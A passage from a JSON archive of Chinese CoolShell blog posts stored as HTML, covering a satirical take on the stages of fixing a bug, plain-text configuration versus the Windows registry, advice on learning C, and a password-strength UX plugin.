标记上“不是bug”</strong></p>\n<p>也许这是用户的错，或是本地配置有问题。是的，我确信就是那样，一会就会好的。</p>\n<p><span id=\"more-4045\"></span></p>\n<p><strong>3. 就是一次小故障</strong></p>\n<p>我想这就是一次小故障，很奇怪地发生了一次，它不会再发生的，虽然没有搞清楚是为什么发生了，不过这就好像我们的数据库，网格，浏览器或别的什么打了几个嗝一样。一会就会好的，我确信。</p>\n<p><strong>4. 躲藏.</strong></p>\n<p>我要休几天病假，也许他们会把这个bug转给别人的。</p>\n<p><strong>5. 标记为“修改需求中”</strong></p>\n<p>你看，我是按照需求实现的。如果你们想要改这个行为和UI，就一定要修改需求。也许他们会决定就这样了。</p>\n<p><strong>6. 需要更多的信息</strong></p>\n<p>我不能确定这是一个bug，除非我能在错误日志中看到一条特定的报错信息。</p>\n<p><strong>7. 转给其他人</strong></p>\n<p>我调查这个bug中看到了其它模块中我看不懂的数据，问题很大。我应该把这个bug转给开发那个模块的人。我可以在我的模块中检查一下那个边边角角的情况，但是正确的fix应该是在别人的模块中。反正那个在别的国家，我见不着他。</p>\n<h2>第二阶段：接受</h2>\n<p>本阶段的状态: 认命 Resigned. 被打击 Defeated. 被激怒 Annoyed.</p>\n<p><strong>1. 接受现实</strong></p>\n<p>行了，行了，行了！这是我的bug，我会修正它的。</p>\n<p><strong>2. 把这个bug放到最后</strong></p>\n<p>也许，我可以在我需要fix这个bug之前找到一个新的工作。</p>\n<p><strong>3. 和你的经理讨价还价</strong></p>\n<p>好的，你看，我可以正确地fix这个问题，不过我需要一个月。也就是说，我可以给这个问题贴个创可贴，那不会真正的解决它，但是我们可以避免用户的抱怨，这可以为我们赢得几天的时间。</p>\n<p><strong>4. 为这个bug标记一个无耻的时间</strong></p>\n<p>上帝啊，我希望这时间够了。</p>\n<h2>第三阶段： 投入和沮丧</h2>\n<p>本阶段的状态: 眼花 Giddy. 头晕 Light-headed. 紧张 Nauseous.</p>\n<p><strong>1. 开始调查</strong></p>\n<p>我能搞定它，我能搞定它！只需要小小的调整一下，小小的关注一下，多一点咖啡因，再加上一点时间，我能搞定它。</p>\n<p><strong>2. 迷惘</strong></p>\n<p>Shit. 这太扯了。我居然没有一点进展。这代码真是乱。这样的代码居然能编译和运行，真TMD的神奇，我有机会能搞清楚它什么不正常吗？</p>\n<p><strong>3. 再次躲藏</strong></p>\n<p>你看，很对不起。我不得不要去切除我的阑尾。再一次，是的，既然你提到了它，我的确有两个阑尾。现在我一个也没有了，你高兴了吧？。</p>\n<p><strong>4. 犯贱</strong></p>\n<p>好吧，总之，你到底期望什么？想让我在一个没有高级调试器的环境下改这个BUG。我是什么？千里眼吗？我在我的<a href=\"http://en.wikipedia.org/wiki/Commodore_64\" target=\"_blank\">Commodore 64</a>上一个更好的调试器！</p>\n<p><strong>5. 瞎搞</strong></p>\n<p>看看我试试这么改？Kao，这样不行。要不然这样搞？也不行。那么那样搞呢？Shit，居然变得更糟了。</p>\n<p><strong>6. 绝望</strong></p>\n<p>我不可能fix这个bug了。我是个糟糕的程序员。我太笨了。我在这个满是聪明人的地方干什么？迟早他们会知道我的能力太差，那时我就玩完了，在这也混不下去了。</p>\n<p><strong>7.耻辱</strong></p>\n<p>我的经理问我为什么我用了一个月的时候来fix这个只需要两天就可以解决的bug？老实说，我不知道怎么去读日志信息，我搞坏了我们的编译脚本。现在，我不敢去让别人来帮我，因为这样只会让我显得更愚蠢。</p>\n<p><strong>8. 恐慌！</strong></p>\n<p>这事变得比我相像的要复杂！而我开始觉得复杂的事变得简单……而我觉得简单的事变成需要重定半打的类。为什么我以前在我的经理前拍着胸说我可以搞定这个事？</p>\n<p><strong>9. 通宵工作，远离朋友和家人</strong></p>\n<p>(语无论次的喃喃自语，一阵一阵地大声咒骂)</p>\n<h2>第四个阶段：愚蠢的快感</h2>\n<p>本阶段的状态: 感恩 Grateful. 安心 Relieved. 极端地自我欣赏 Awfully Impressed with Yourself.</p>\n<p><strong>1. 醒悟 </strong></p>\n<p>哦！我终于明白怎么搞定它了……</p>\n<p><strong>2. 写正确的代码</strong></p>\n<p>我真NB，我是编码机器！</p>\n<p><strong>3. 测试</strong></p>\n<p>牛！通过一个测试。真牛！又通过一个测试了。靠！有测试失败了。这是为什么……</p>\n<p><strong>4. 隐藏测试失败</strong></p>\n<p>反正这完全是一个不重要的测试案例。没有人会检查它，这个测试真是毫无意义。</p>\n<p><strong>5. 提交代码</strong></p>\n<p>我太牛了，厨房里有个馅饼可以庆祝一下吗？</p>\n<p><strong>6. 关闭 bug.</strong></p>\n<p>我听说那里有个馅饼可以庆祝一下</p>\n<h2>第五个阶段： 与“完成”肉搏</h2>\n<p>本阶段的状态: 焦燥不安 Twitchy. 神经过敏 Nervous. 迷信 Superstitious.</p>\n<p><strong>1. 有人reopen了这个 Bug</strong></p>\n<p>真的？他们发现了你引入了另一个bug？ Shit – 那只是一个不重要的案例永远不会发生的。</p>\n<p><strong>2. 修正以前的修正</strong></p>\n<p>是的，我甚至检查了员工的年龄是一个虚数的情况，就是为了防止出错。</p>\n<p><strong>3. 关闭 bug</strong></p>\n<p>是的，贱货，你被关闭了。全部都关了，再也不用心烦了。</p>\n<p><strong>4. 发誓以后再也不干这种事了</strong></p>\n<p><strong>5. 大家都意识到你现在是那个模块的专家了</strong></p>\n<p>哦，不！现在他们又给了我三个那个模块的新bug</p>\n<p>没关系，现在你只需要GOTO 第一个阶段。</p>\n<p>此外，作为一个工作中的程序员，你会永远经历这些烂事，直到你——死亡，退休，或是被升到管理层。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4045.html\">Fix Bug的五个阶段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-28 纯文本配置还是注册表.html",
    "content": "<html><body><p>我们知道Unix/Linux下的程序配置文件从来都是纯文本的，你可以自由地修改和查看，他们也没有什么什么XML之类的玩意（参看XML的这两篇文章：<a href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\" title=\"信XML，得永生！\">一</a>，<a href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\" title=\"信XML，得自信\">二</a>），这个最重要的Unix文化（参看<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\" title=\"Unix传奇(下篇)\">Unix传奇下篇</a>）40多年来就这么沿续下来了。我很佩服Microsoft的创新能力，一会儿用INI，一会儿用注册表，一会又是用XML，这就是<a href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\" title=\"Windows编程革命简史\">Windows的编程中那“强大”的创新</a>。在网上又看到有人在争论为什么用注册表而不是纯文本，所以，写下这篇文章。</p>\n<h4>引入注册表所谓的原因</h4>\n<p>首先，让我们来看一下为什么微软觉得要使用注册表而不是ini文件，下面是一些其列出来的ini方面的毛病：</p>\n<ul>\n<li>ini文件不支持Unicode</li>\n<li>ini文件的安全权限不够</li>\n<li>ini文件在多进程下存取会有问题</li>\n<li>如果一个进程锁上了这个文件，另一个进程就无法获得，只能出错。</li>\n<li>ini文件只能包含字符串，无法使用二进制</li>\n<li>解析ini文件相对来说性能比较慢，第一次读写都需要把整个文件读入内存，然后再写回去。</li>\n<li>ini文件最大只有32K</li>\n<li>ini文件的默认目录在Windows系统目录下，只能这个目录只能Windows管理员才能访问</li>\n<li>ini只能包含了两层，对于多层不支持。</li>\n<li>把ini文件放在中央服务器上管理很困难。</li>\n</ul>\n<p>而微软说，注册表可以完美地解决这些问题。居然微软只说到了ini文件，但我觉得不单单是ini，所有的以纯文本方式保存配置文件的方法都会出现上述这样的问题。</p>\n<h4>我的观点</h4>\n<p>那么，当你在看到这些言论时，你是怎么想的？你有没有经过自己的独立思考？还是你觉得注册表完美地解决了所有的一切？下面是我的一些观点：</p>\n<p><span id=\"more-4077\"></span></p>\n<ul>\n<li><span style=\"color: #800000;\">首先，我们要知道没有任何一件事是完美的，凡事必然有好的一面，也有不好的一面。</span></li>\n<li><span style=\"color: #800000;\">其次，当我们在改进一个东西时，不单单要解决其不好的东西，还要把其好的东西给传承下来。</span></li>\n</ul>\n<p>所以，当你看到一些只说好或是只说坏的东西时，这往往意味着“宗教”或“洗脑”，这正是需要你独立思考的时候。</p>\n<h4>纯文本配置文件的好处</h4>\n<p>下面，是我觉得纯文本配置文件的好处（我用Unix下的纯文本配置文件来举例）：</p>\n<ul>\n<li>很容易进行版本管理（配置文件和程序代码一样都需要版本控制）</li>\n<li>很容易移植到别的平台</li>\n<li>很容易自定义文本文件的格式和语法，已也有相关的库支持（ini只支持ANSI字符，只有32K，只支持两级，那是ini的问题，解决这些问题不需要引入注册表）</li>\n<li>可以在配置文本中写注释信息</li>\n<li>你要很容易的使用grep，awk，sed等等以及来和脚本集成。</li>\n<li>你可以很容易地拆分配置文件把其放到conf.d中，这样一来，你就非常灵活\n<ul>\n<li>你就不用整个文件都读入内存，</li>\n<li>你也可以分别设置上不同的存取权限，</li>\n<li>同样可以减小多个进程同时存取的问题</li>\n<li>同样可以引用别的二进制配置的文件</li>\n</ul>\n</li>\n<li>你可以很容易地产生备份或是在不同的配置中来回地切换配置文件以进行调试。</li>\n<li>你可以很容易地使用rsync来向中央服务器同步你的配置文件。或者使用NFS/NIS直接就把配置放在中央服务器上。</li>\n</ul>\n<h4>真正的原因</h4>\n<p>可见，Windows 的注册表并没有把纯文本配置文件的这些好处都带过来，所以，经过这样的独立思考，我们可以知道，微软引入注册表的真正原因是——</p>\n<ul>\n<li>让你的程序不具移植性，让你的软件永远运行在Windows上。</li>\n<li>增加你编程的复杂度和你维护配置文件的复杂度，让你在痛苦之后，苦苦哀求微软再发布下一个“创新”。</li>\n</ul>\n<p>各位程序员——Windows是很危险的，你们还是回火星去吧。</p>\n<p>（<strong>全文完，转载时请注明作者和出处</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1272.html\"><img alt=\"操作系统航空公司\" height=\"150\" src=\"../wp-content/uploads/2009/08/linux_airline-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-29 如何学好C语言.html",
    "content": "<html><body><p>有人在酷壳的留言版上询问下面的问题</p>\n<blockquote cite=\"https://coolshell.cn/guestbook#commentbody-40269\"><p><a href=\"https://coolshell.cn/guestbook#comment-40269\">keep_walker</a> <strong>:</strong><br/>\n今天晚上我看到这篇文章。<br/>\n<a href=\"http://programmers.stackexchange.com/questions/62502/small-c-projects\" rel=\"nofollow\">http://programmers.stackexchange.com/questions/62502/small-c-projects</a></p>\n<p>我也遇到了和提问的老外一样的问题。。能给像遇到这样烦恼的程序员一点建议嘛？谢谢！</p></blockquote>\n<p>我相信，这可能是很多朋友的问题，我以前也有这样的感觉，编程编到一定的时候，发现能力到了瓶颈，既不深，也不扎实，半吊子。比如：你长期地使用Java和.NET ，这些有虚拟机的语言对于开发便利是便利，但是对于程序员来说可能并不太好，原因有两个：</p>\n<ol>\n<li>虚拟机屏蔽了操作系统的系统调用，以及很多底层机制。</li>\n<li>大量的封装好的类库也屏蔽了很多实现细节。</li>\n</ol>\n<p>一段时间后，你会发现你知其然，不知所以然。。我以前在CSDN上写过一篇《<strong>Java NIO类库Selector机制解析（<a href=\"http://blog.csdn.net/haoel/archive/2008/03/27/2224055.aspx\" target=\"_blank\">上</a>，<a href=\"http://blog.csdn.net/haoel/archive/2008/03/27/2224069.aspx\" target=\"_blank\">下</a>，<a href=\"http://blog.csdn.net/haoel/archive/2008/05/04/2379586.aspx\" target=\"_blank\">续</a>）</strong>》，在那篇文章中我说提到过（有讥讽的语气）Java的程序员不懂底层实现，所以很难把技术学得更扎实。此时，一部分程序员会不自然地想学学底层的技术，很自然的，C语言就被提了上来。</p>\n<p>下面是我给这位朋友的一些建议：</p>\n<p><span id=\"more-4102\"></span></p>\n<ul>\n<li><strong>鼓励并为你叫好</strong>。我鼓励你想要去学C语言的想法和精神，很多人都觉得C语言好学，其实并不然。（你可以看看《<a href=\"https://coolshell.cn/articles/945.html\" rel=\"nofollow\" target=\"_blank\">C语言的迷题</a>》）现在的这个社会更多地去关注那些时髦的技术，而忽略了这个流行了40+年的C语言。<strong>一门技术如果能够流行40多年，这才是你需要去关注和学习的技术</strong>，而不是那些刚出来的技术（<a href=\"https://coolshell.cn/articles/3609.html\" target=\"_blank\" title=\"那些炒作过度的技术和概念\">过度炒作的技术</a>，<a href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\" title=\"Windows编程革命简史\">Windows编程史</a>）。这才是踏踏实实的精神。</li>\n</ul>\n<ul>\n<li><strong>不要找借口</strong>。这一条路走下来并不容易，不要给自己找借口。我最不喜欢听到的就是“<strong>很忙，没有时间</strong>”这样的借口。我以前在银行做项目，早9点到晚10点，周一到周六，我一样可以每天抽1个小时来看书和专研，一年下来也能精读5、6本书。我现在的工作项目和招聘任务很紧张，刚生的小孩只有自己和老婆两人带，还需要准备讲课，但是我还是能够找到时间看文章写文章维护酷壳。所以，我可以告诉你，“<strong>时间就像乳沟，只要你肯挤，就一定会有</strong>”。</li>\n</ul>\n<ul>\n<li><strong>学好C语言和系统编程</strong>。我认为，学好编程有四个方面：<strong>语言、算法和数据结构、系统调用和设计</strong>。\n<ul>\n<li><strong>语言</strong>。我可以告诉你C语言有两大主题你要好好学，一个是内存管理，一个是指针！这个世界上90%以上的C/C++出的严重性错误全是和这两个有关。不要看谭浩强的那本书，那本是本烂书。推荐这本书给你《<a href=\"http://product.china-pub.com/14975&amp;ref=browse\" target=\"_blank\">C程序设计语言（第2版·新版）</a><span style=\"font-size: 13px; line-height: 19px;\">》</span></li>\n<li><span style=\"font-size: 13px; line-height: 19px;\"><strong>算法和数据结构</strong>。我认为，用C语言实现算法和数据结构莫过于最爽的事情。推荐你看这本书——<a href=\"http://product.china-pub.com/192975&amp;ref=browse\" target=\"_blank\">算法:C语言实现(第1～4部分)基础知识、数据结构、排序及搜索(原书第3版)</a>，还有那本经典的《<a href=\"http://product.china-pub.com/31701\" target=\"_blank\">算法导论</a>》</span></li>\n<li><span style=\"font-size: 13px; line-height: 19px;\"><a href=\"http://product.china-pub.com/192975&amp;ref=browse\" target=\"_blank\"></a><strong>系统编程</strong>。Windows下推荐两本书——《<a href=\"http://product.china-pub.com/52880\" target=\"_blank\">Windows 程序设计 </a>》和《<a href=\"http://product.china-pub.com/209058\" target=\"_blank\">Windows核心编程</a>》，Unix/Linux下推荐两本书——《<a href=\"http://product.china-pub.com/30181\" target=\"_blank\">Unix高级环境编程</a>》和《<a href=\"http://product.china-pub.com/196770\" target=\"_blank\">Unix网络编程卷1，套接字</a>》《<a href=\"http://product.china-pub.com/196859\" target=\"_blank\">Unix网络编程卷2，进程间通信</a>》尤其是《Unix网络编程》这本书，一通百通，无论Windows还是Unix/Linux，都是一样的。</span></li>\n<li><strong>系统设计</strong>。关于设计方面，我全力推荐《<a href=\"http://product.china-pub.com/197413\" target=\"_blank\">Unix编程艺术</a>》，看完以后，你就明白什么是真正的编程文化了。然后，当你看到Windows的Fans的某些言论时，你就知道什么叫一笑了之了。</li>\n</ul>\n</li>\n</ul>\n<p>如果你能在2-3年内精读完这些书，并全部融会贯通，那么你就明白什么是一览众山小的感觉了！我足足花了5年时间才算是真正全部读完这些书的。最后，祝你好运！努力！</p>\n<p><em><strong>——-更新：2011/03/29 20:00——-</strong></em></p>\n<p>我想，这篇文章主要想告诉大家这么几件事：</p>\n<ul>\n<li>编程编到一定时候，你就需要了解底层系统的机制，否则，知其然不知所以然。</li>\n<li>我没有否定非C的程序员的逻辑，真正的逻辑是——如果你想要了解底层机制，请学习C语言和操作系统。</li>\n<li>40多年的Unix/C影响深远。包括影响了Windows。如果你想一通百通，一定要了解Unix。那是计算机文化真正的根。</li>\n<li>不要肤浅地去思考问题。比如，不要以为一个DBA就不会考虑数据库引擎的内存页面的问题。也不要以为Web程序员就不需要了解后台的服务器和脚本的运行性能以及TCP/IP的问题。</li>\n</ul>\n<p><strong>高手往往都是有很强的系统的基础知识的，表面的东西永远是肤浅的。</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-3 另类UX让你输入强口令.html",
    "content": "<html><body><p></p>\n<p> </p>\n<p></p>\n<p>昨天和大家说了一下<a href=\"https://coolshell.cn/articles/3801.html\" target=\"_blank\" title=\"破解你的口令\">关于口令破解</a>的一些东西，那篇文章告诉我们需要设置一个比较强的不易破解的口令。</p>\n<p>今天在网上看到一个强大的jQuery插件，叫<a href=\"http://www.nakedpassword.com/\" target=\"_blank\" title=\"NakedPassword.com\">NakedPassword</a>，其通过“<strong>强大的用户体验</strong>”让你输入一个比较强且不易被破解的口令。虽然有点另类，但是我个人相当欣赏这个UX，因为UX实在是太到位了——<strong>只有你输入的口令比较强，图片中的女人才会脱光衣服</strong>。</p>\n<p>下面是演示：</p>\n<p style=\"text-align: center;\">请输入你的口令（输入时出现效果）</p>\n<p style=\"text-align: center;\">\n<input id=\"test\" style=\"font-size: 25px;\" type=\"password\"/></p>\n<p>这个例子和<a href=\"https://coolshell.cn/articles/3142.html\" target=\"_blank\" title=\"用户界面和用户体验的差别\">以前的那个例子</a>一样，告诉你UX设计是重要性。</p>\n<p>（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-3 微软用新浪来当反面教材.html",
